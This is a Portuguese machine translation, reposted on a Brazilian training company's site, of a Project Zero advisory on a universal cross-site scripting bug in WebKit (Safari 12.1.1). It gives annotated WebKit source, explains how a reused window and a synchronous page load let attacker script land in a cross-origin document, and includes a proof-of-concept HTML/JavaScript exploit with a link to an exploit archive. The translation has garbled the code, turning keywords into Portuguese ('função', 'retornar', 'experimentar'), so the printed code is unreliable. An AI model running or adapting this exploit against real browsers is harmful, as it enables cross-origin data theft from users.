fbpx

WebKit – UXSS Using JavaScript: URI and Synchronous Page Loads

WebKit – UXSS Using JavaScript: URI and Synchronous Page Loads

DETALHES DA VULNERABILIDADE
“ “
void DocumentWriter :: replaceDocument (const String & source, Document * ownerDocument)
{
[…]
begin (m_frame-> document () -> url (), true, ownerDocument); // *** 1 ***

// begin () pode disparar um evento de descarregamento, o que resultará em uma situação em que nenhum novo documento foi anexado,
// e o documento antigo foi desanexado. Portanto, resgate se nenhum documento estiver anexado.
if (! m_frame-> document ())
Retorna;

if (! source.isNull ()) {
if (! m_hasReceivedSomeData) {
m_hasReceivedSomeData = true;
m_frame-> document () -> setCompatibilityMode (DocumentCompatibilityMode :: NoQuirksMode);
}

// FIXME: Isso deve chamar DocumentParser :: appendBytes em vez de anexar
// para suportar RawDataDocumentParsers.
if (DocumentParser * parser = m_frame-> document () -> parser ())
parser-> append (source.impl ()); // *** 2 ***
}
“ “

“ “
bool DocumentWriter :: begin (const URL & urlReference, envio bool, Document * ownerDocument)
{
[…]
boolereReuseDefaultView = m_frame-> loader (). stateMachine (). isDisplayingInitialEmptyDocument () && m_frame-> document () -> isSecureTransitionTo (url); // *** 3 ***
if (shouldReuseDefaultView)
document-> takeDOMWindowFrom (* m_frame-> document ());
outro
document-> createDOMWindow ();

// Por <http://www.w3.org/TR/upgrade-insecure-requests/>, precisamos manter um conjunto contínuo de atualizações
// solicitações em novos contextos de navegação. Embora esta informação esteja presente quando construímos o
// Objeto do documento, ele é descartado nas instruções ‘claras’ subsequentes abaixo. Então, devemos capturá-lo
// para que possamos restaurá-lo.
HashSet <SecurityOriginData> insecureNavigationRequestsToUpgrade;
if (auto * existingDocument = m_frame-> document ())
insecureNavigationRequestsToUpgrade = existingDocument-> contentSecurityPolicy () -> takeNavigationRequestsToUpgrade ();

m_frame-> loader (). clear (document.ptr (),! shouldReuseDefaultView,! shouldReuseDefaultView);
Claro();

// m_frame-> loader (). clear () pode disparar um evento de descarregamento que pode remover a exibição do documento.
// Sair se o documento não tiver visualização.
if (! document-> view ())
retorna falso;

if (! shouldReuseDefaultView)
m_frame-> script (). updatePlatformScriptObjects ();

m_frame-> loader (). setOutgoingReferrer (url);
m_frame-> setDocument (document.copyRef ());
[…]
m_frame-> loader (). didBeginDocument (despacho); // *** 4 ***

document-> implicitOpen ();
[…]
“ “

`DocumentWriter :: replaceDocument` é responsável por substituir o documento exibido no momento por
um novo usando o resultado da avaliação de um URI javascript: como a origem do documento. O método
chama `DocumentWriter :: begin` [1], o que pode acionar a execução do JavaScript e, em seguida, envia os dados para
o analisador do documento ativo [2]. Se um invasor puder executar outro carregamento de página imediatamente antes
retornando de `begin`, o método anexará uma string controlada pelo invasor a um potencial
documento de origem cruzada.

Sob condições normais, uma carga de javascript: URI sempre faz o `begin` associar o novo documento a
um novo objeto DOMWindow. No entanto, é realmente possível atender aos requisitos do
Verificação `shouldReuseDefaultView` [3]. Primeiro, o invasor precisa inicializar o elemento <iframe>
URI de origem para um valor sensato antes de ser inserido no documento. Isso definirá o estado do quadro como
`ShowingInitialEmptyDocumentPostCommit`. Então ela tem que chamar `open` no documento da moldura
logo após a inserção para interromper o carregamento inicial e definir o URL do documento para um valor que possa passar
a verificação `isSecureTransitionTo`.

Quando o objeto da janela é reutilizado, todos os manipuladores de eventos definidos para a janela permanecem ativos. Então, para
Por exemplo, quando `didBeginDocument` [4] chama` setReadyState` no novo documento, ele acionará o
manipulador “readystatechange” da janela. Como `NavigationDisabler` não está ativo neste momento, é
possível executar um carregamento de página síncrona usando o truque `showModalDialog`.

VERSÃO
Revisão do WebKit 246194
Safari versão 12.1.1 (14607.2.6.1.1)

CASO DE REPRODUÇÃO
O ataque não funcionará se o documento de origem cruzada não tiver um analisador ativo no momento em que o `begin` retornar.
A maneira mais fácil de reproduzir o bug é chamar `document.write` da página da vítima quando o principal
a tarefa de análise está concluída. No entanto, é uma construção bastante artificial, então eu também anexei outra
caso de teste, que funciona para páginas comuns, mas precisa usar um script python que emula uma web lenta
servidor para executar de forma confiável.

“ “
<body>
<h1> Clique para iniciar </h1>
<script>
função createURL (dados, tipo = ‘text / html’) {
retornar URL.createObjectURL (novo Blob ([dados], {tipo: tipo}));
}

função waitForLoad () {
showModalDialog (createURL (`
<script>
deixe-o = setInterval (() => {
experimentar {
opener.frame.contentDocument.x;
} captura (e) {
clearInterval (it);
window.close ();
}
}

window.onclick = () => {
    frame = document.createElement('iframe');
    frame.src = location;
    document.body.appendChild(frame);

    frame.contentDocument.open();
    frame.contentDocument.onreadystatechange = () => {
        frame.contentWindow.addEventListener('readystatechange', () => {
            a = frame.contentDocument.createElement('a');
            a.href = victim_url;
            a.click();
            waitForLoad();
        }, {capture: true, once: true});
    }
    frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}

victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body> 

```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47450.zip
            
11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900

Copyright © Linux Force Security  - Desde 2011.